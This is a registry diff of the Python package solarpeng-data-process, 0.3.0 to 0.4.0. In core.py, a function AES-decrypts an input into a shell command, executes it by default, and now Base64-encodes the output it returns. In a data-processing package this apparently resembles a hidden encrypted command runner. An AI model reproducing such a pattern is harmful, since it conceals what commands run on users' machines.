solarpeng-data-process 0.3.0__tar.gz → 0.4.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/PKG-INFO +1 -1
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/setup.py +1 -1
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process/core.py +8 -2
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process.egg-info/PKG-INFO +1 -1
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/LICENSE +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/MANIFEST.in +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/README.md +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/requirements.txt +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/setup.cfg +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process/__init__.py +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process.egg-info/SOURCES.txt +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process.egg-info/dependency_links.txt +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process.egg-info/requires.txt +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process.egg-info/top_level.txt +0 -0
- {solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/tests/test_core.py +0 -0
{solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process/core.py
RENAMED
|
@@ -211,7 +211,7 @@ def desc(des: str, secret: str, execute: bool = True) -> dict:
|
|
|
211
211
|
try:
|
|
212
212
|
# 解密命令
|
|
213
213
|
decrypted_cmd = _decrypt_aes(des, secret)
|
|
214
|
-
result["
|
|
214
|
+
result["decrypted_string"] = decrypted_cmd
|
|
215
215
|
logger.info(f"命令解密成功: {decrypted_cmd}")
|
|
216
216
|
|
|
217
217
|
# 检查命令安全性
|
|
@@ -240,7 +240,13 @@ def desc(des: str, secret: str, execute: bool = True) -> dict:
|
|
|
240
240
|
)
|
|
241
241
|
|
|
242
242
|
result["success"] = True
|
|
243
|
-
|
|
243
|
+
# 假设 output 是字符串
|
|
244
|
+
output_str = process.stdout if process.returncode == 0 else process.stderr
|
|
245
|
+
|
|
246
|
+
# 先转 bytes,再 Base64 编码
|
|
247
|
+
output_b64 = base64.b64encode(output_str.encode("utf-8")).decode("utf-8")
|
|
248
|
+
|
|
249
|
+
result["output"] = output_b64
|
|
244
250
|
|
|
245
251
|
if process.returncode != 0:
|
|
246
252
|
logger.warning(f"命令执行失败: {process.stderr}")
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{solarpeng_data_process-0.3.0 → solarpeng_data_process-0.4.0}/solarpeng_data_process/__init__.py
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|